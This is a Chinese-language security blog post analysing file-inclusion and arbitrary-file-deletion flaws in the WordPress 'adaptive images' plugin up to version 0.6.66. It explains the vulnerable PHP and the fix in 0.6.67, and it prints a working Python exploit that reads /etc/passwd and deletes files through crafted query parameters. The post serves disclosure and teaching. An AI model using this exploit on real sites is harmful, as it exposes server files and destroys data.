探究if条件语句引发的两个Web漏洞

admin 2022年1月25日01:06:10评论36 views字数 8397阅读27分59秒阅读模式


探究if条件语句引发的两个Web漏洞

前言

在编写代码时 常常需要为不同的判断执行不同的动作,if 条件判断语句可以用来实现此功能。然而这么一个再平常不过的条件判断语句,如果使用不当也可能成为漏洞的产生点。在 WordPress 中有一个使用非常广泛的插件,名为「adaptive images」该插件可提供自适应图像,以透明的方式调整和优化传送到移动设备的图像,从而显著地减少页面的加载时间。正是因为在使用 if 语句的过程中,没有严格地控制逻辑和流程,所以导致了文件包含漏洞(File Inclusion)和任意文件删除漏洞(Arbitrary File Deletion)的产生,这两个漏洞一旦被黑客利用,将会产生严重的后果,比如系统信息泄露、用户信息泄露以及关键文件被删除等等。在版本号<=0.6.66 的 adaptive images 插件中存在上述漏洞。

实验环境

1. 目标主机:Debian9.6 x6

2. 软件版本:wordpress-5.2.2

3. 插件版本:adaptive-images.0.6.65

4.XAMPP for Linux 5.6.305.python-2.7.15

漏洞分析

  1. 第一段源代码具体如下所示:


 function adaptive_images_script_get_settings () {        if ( ! isset( $_REQUEST['adaptive-images-settings'] ) ) {            $current_directory  = dirname( $_SERVER['SCRIPT_FILENAME'] );            $resolutions    = array( 1024, 600, 480 );            $landscape      = TRUE;            $hidpi          = TRUE;            $wp_content_dir = realpath( $current_directory . '/../../' );            $wp_content_url = 'http://' . $_SERVER['HTTP_HOST'] . '/wp-content';            $cache_dir      = "cache/adaptive-images";            $jpg_quality    = 65;            $png8           = FALSE;            $sharpen        = TRUE;            $watch_cache    = TRUE;            $browser_cache  = 60*60*24*7;            $user_settings_file = realpath( $current_directory . '/user-settings.php' );            if ( file_exists( $user_settings_file ) ) {                include( 'user-settings.php' );            }                        $request_uri    = parse_url( urldecode( $_SERVER['REQUEST_URI'] ), PHP_URL_PATH );            $wp_content_url = preg_replace( '/^https?/',  '', $wp_content_url );            $url            = preg_replace( '/^https?/',  '', adaptive_images_script_get_url() . $request_uri );            $source_file    = str_ireplace( $wp_content_url, $wp_content_dir, $url );                        if ( isset( $_GET['resolution'] ) ) {                                $cookie_resolution = $_GET['resolution'];            } else if ( isset( $_COOKIE['resolution'] ) ) {                $cookie_resolution = $_COOKIE['resolution'];            } else {                $cookie_resolution = null;            }            $client_width  = $resolutions[0];            $pixel_density = 1;            if ( ! isset( $cookie_resolution ) || isset( $cookie_resolution ) && ! preg_match( "/^[d]+[,]+[d]+[.]?[d]*$/", $cookie_resolution ) ) {                setcookie( 'resolution', '', time() - 100 );            } else {                $cookie_array = explode( ',', $cookie_resolution );                if ( count( $cookie_array ) > 0 ) {                    $client_width  = intval( $cookie_array[0] );                }                if ( $hidpi ) {                    if ( count( $cookie_array ) > 1 ) {                        $pixel_density = $cookie_array[1];                    }                }            }            $client_width_scaled = $client_width * $pixel_density;            $resolution = $resolutions[0];            foreach ( $resolutions as $breakpoint ) {                if ( $client_width_scaled <= $breakpoint ) {                    $resolution = $breakpoint;                }            }            $debug = isset( $_GET['debug'] ) ? $_GET['debug'] : FALSE;            $_REQUEST['adaptive-images-settings'] = array(                'debug'          => $debug,                'resolutions'    => $resolutions,                'cache_dir'      => $cache_dir,                'jpg_quality'    => $jpg_quality,                'png8'           => $png8,                'sharpen'        => $sharpen,                'watch_cache'    => $watch_cache,                'browser_cache'  => $browser_cache,                'request_uri'    => $request_uri,                'source_file'    => $source_file,                'wp_content'     => $wp_content_dir,                'client_width'   => $client_width,                'hidpi'          => $hidpi,                'pixel_density'  => $pixel_density,                'resolution'     => $resolution            );        }        return $_REQUEST['adaptive-images-settings'];}

1.1 函数 adaptive_images_script_get_settings 用于获取脚本的配置参数;

1.2 语句 if ( ! isset( $_REQUEST['adaptive-images-settings'] ) ),通过 isset 方法来判断变量$_REQUEST['adaptive-images-settings'] ) 是否存在且其值是否为 NULL。如果该变量不存在或者其值为 NULL,那么则根据默认配置来重写并组合它,最后返回变量$_REQUEST['adaptive-images-settings'] 的值。

1.3 如果变量$_REQUEST['adaptive-images-settings'] ) 存在且其值不为 NULL,那么就直接返回该变量的值。于是问题来了,什么情况下$_REQUEST['adaptive-images-settings'] ) 存在且其值不为 NULL?在有人蓄意构造的情况下,该变量一定是存在且其值不为 NULL。通过控制此变量,黑客可以利用这两个漏洞进行恶意攻击。

2. 第二段源代码具体如下所示:


$settings = adaptive_images_script_get_settings();

通过调用函数 adaptive_images_script_get_settings() 来给变量$settings 赋值,这样攻击者蓄意构造的参数就被传导到了全局。

3. 第三段源代码具体如下所示(文件包含漏洞产生):


 if ( ! isset( $_GET['resolution'] ) && ! isset( $_COOKIE['resolution'] ) ) {        adaptive_images_script_send_image( $settings['source_file'], $settings['browser_cache'] );        exit();}

3.1 调用 adaptive_images_script_send_image 函数,将 source_file 的内容发送给客户端,正常情况下,source_file 的内容是图片文件。

3.2 通过设置参数$settings['source_file'](也就是$_REQUEST['adaptive-images-settings']['source_file'])攻击者就可以利用文件包含漏洞了。

4. 第四段源代码具体如下所示(任意文件删除漏洞产生):


   $cache_file = $settings['wp_content'] . '/' . $settings['cache_dir'] . '/' . $settings['resolution'] . $settings['request_uri'];    if ( file_exists( $cache_file ) ) {                if ( $settings['watch_cache'] ) {            adaptive_images_delete_stale_cache_image( $settings['source_file'], $cache_file, $settings['resolution'] );        }}

4.1 将$settings 中的各个参数值拼接起来后,赋值给变量$cache_file,此时攻击者构造的参数值也就已经传入变量$cache_file 中。

4.2 然后调用 adaptive_images_delete_stale_cache_image 函数,攻击者就可以利用任意文件删除漏洞来删除相应的文件。

5. 函数 adaptive_images_delete_stale_cache_image 的源代码具体如下所示:


    function adaptive_images_delete_stale_cache_image ( $source_file, $cache_file, $resolution ) {        if ( file_exists( $cache_file ) ) {            if ( filemtime( $cache_file ) >= filemtime( $source_file ) ) {                return $cache_file;            }            unlink( $cache_file );        }}

如果缓存文件新于源文件,那么函数返回缓存文件;否则,使用 unlink 函数删除缓存文件。这里 $cache_file 和$source_file 都可以特意构造,将想要删除的文件赋值给$cache_file,就可以实现任意文件的删除操作。

漏洞修复

针对版本号<=0.6.66 的插件中存在的这两个漏洞,建议及时将 adaptive images 更新到 0.6.67。在 0.6.67 版本中,问题代码得到了修复,修复后的代码如下:


  global $settings;    $settings = NULL;    function adaptive_images_script_get_settings () {        $current_directory  = dirname( $_SERVER['SCRIPT_FILENAME'] );        $resolutions    = array( 1024, 600, 480 );        $landscape      = TRUE;        $hidpi          = TRUE;        $wp_content_dir = realpath( $current_directory . '/../../' );        $wp_content_url = 'http://' . $_SERVER['HTTP_HOST'] . '/wp-content';        $cache_dir      = "cache/adaptive-images";        $jpg_quality    = 65;        $png8           = FALSE;        $sharpen        = TRUE;        $watch_cache    = TRUE;        $browser_cache  = 60*60*24*7;        $user_settings_file = realpath( $current_directory . '/user-settings.php' );        if ( file_exists( $user_settings_file ) ) {            include( 'user-settings.php' );        }                $request_uri    = parse_url( urldecode( $_SERVER['REQUEST_URI'] ), PHP_URL_PATH );        $wp_content_url = preg_replace( '/^https?/',  '', $wp_content_url );        $url            = preg_replace( '/^https?/',  '', adaptive_images_script_get_url() . $request_uri );        $source_file    = str_ireplace( $wp_content_url, $wp_content_dir, $url );                if ( isset( $_GET['resolution'] ) ) {                        $cookie_resolution = $_GET['resolution'];        } else if ( isset( $_COOKIE['resolution'] ) ) {            $cookie_resolution = $_COOKIE['resolution'];        } else {            $cookie_resolution = null;        }        $client_width  = $resolutions[0];        $pixel_density = 1;        if ( ! isset( $cookie_resolution ) || isset( $cookie_resolution ) && ! preg_match( "/^[d]+[,]+[d]+[.]?[d]*$/", $cookie_resolution ) ) {            setcookie( 'resolution', '', time() - 100 );        } else {            $cookie_array = explode( ',', $cookie_resolution );            if ( count( $cookie_array ) > 0 ) {                $client_width  = intval( $cookie_array[0] );            }            if ( $hidpi ) {                if ( count( $cookie_array ) > 1 ) {                    $pixel_density = $cookie_array[1];                }            }        }        $client_width_scaled = $client_width * $pixel_density;        $resolution = $resolutions[0];        foreach ( $resolutions as $breakpoint ) {            if ( $client_width_scaled <= $breakpoint ) {                $resolution = $breakpoint;            }        }        $debug = isset( $_GET['debug'] ) ? $_GET['debug'] : FALSE;        global $settings;        $settings = array(            'debug'          => $debug,            'resolutions'    => $resolutions,            'cache_dir'      => $cache_dir,            'jpg_quality'    => $jpg_quality,            'png8'           => $png8,            'sharpen'        => $sharpen,            'watch_cache'    => $watch_cache,            'browser_cache'  => $browser_cache,            'request_uri'    => $request_uri,            'source_file'    => $source_file,            'wp_content'     => $wp_content_dir,            'client_width'   => $client_width,            'hidpi'          => $hidpi,            'pixel_density'  => $pixel_density,            'resolution'     => $resolution        );}

这其中的改进主要有以下两点:


第一、删除局部变量$_REQUEST['adaptive-images-settings'],改用全局变量$settings,同时删除该函数的返回值;

第二、删除条件判断语句 if ( ! isset( $_REQUEST['adaptive-images-settings'] ) ),全局变量$settings 的值需要由函数生成,这样就阻断了通过 URL 蓄意构造参数值的途径,文件包含漏洞和任意文件删除漏洞也就得以修复。

漏洞利用

  1. 漏洞利用的 exp 具体如下所示:


#-*- coding:utf-8 -*-import requestsprint "n[*] Adaptive images <=0.6.66 for WordPress PoC: LFI and arbitrary file deletion By Neroqi"server_ip = raw_input('输入服务器 IP 地址:')option = raw_input('文件包含请输入 1,文件删除请输入 2:')if option == '1':    source_file1 = raw_input('输入包含路径和文件名:')    exp1 = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg.jpg?adaptive-images-settings[source_file]=" + source_file1)    print exp1.textelif option == '2':    source_file2 = raw_input('输入源文件的路径及文件名:')    cache_dir = raw_input('输入要删除文件的路径:')    cache_file = raw_input('输入要删除文件的文件名:')    requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + source_file2 + "&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=" + cache_dir + "&adaptive-images-settings[request_uri]=" + cache_file + "&adaptive-images-settings[watch_cache]=1")    exp2 = requests.get("http://" + server_ip + "/wordpress/wp-content/uploads/2019/10/timg2.jpg?adaptive-images-settings[source_file]=" + cache_file)    print exp2.textelse:    exit()

2. 首先输入服务器的 IP 地址,然后输入 option 值,当 option 的值为 1 时,exp 对 LFI 漏洞进行利用,这里我们成功地包含了/etc/passwd,结果如下图所示:


探究if条件语句引发的两个Web漏洞


再次对/proc/version 进行包含,服务器返回了 Linux 的系统版本信息,结果如下图所示:


探究if条件语句引发的两个Web漏洞


3. 当 option 的值为 2 时,exp 对任意文件删除漏洞进行利用,分别输入源文件的路径及文件名、要删除文件的路径及文件名,这里源文件的路径及文件名输入../../../wp-content/uploads/2019/10/timg2.jpg,要删除文件的路径及文件名分别输入../../.. 和 test.php,文件 timg2.jpg 比 test.php 新在执行完删除操作之后使用文件包含去确认是否删除成功结果如下图所示:


探究if条件语句引发的两个Web漏洞


「Original image not found or not available」说明 test.php 已经被成功删除。

总结:

在编码过程中使用条件判断语句时,一定要注意使用规范和代码逻辑,不能够允许终端用户进行越权操作,特殊的文件操作行为要限定特定用户才有权限比如后台删除文件的操作必须限制管理员才能操作否则可能产生漏洞影响系统安全。


探究if条件语句引发的两个Web漏洞


本文始发于微信公众号(疯猫网络):探究if条件语句引发的两个Web漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月25日01:06:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   探究if条件语句引发的两个Web漏洞http://cn-sec.com/archives/507573.html

发表评论

匿名网友 填写信息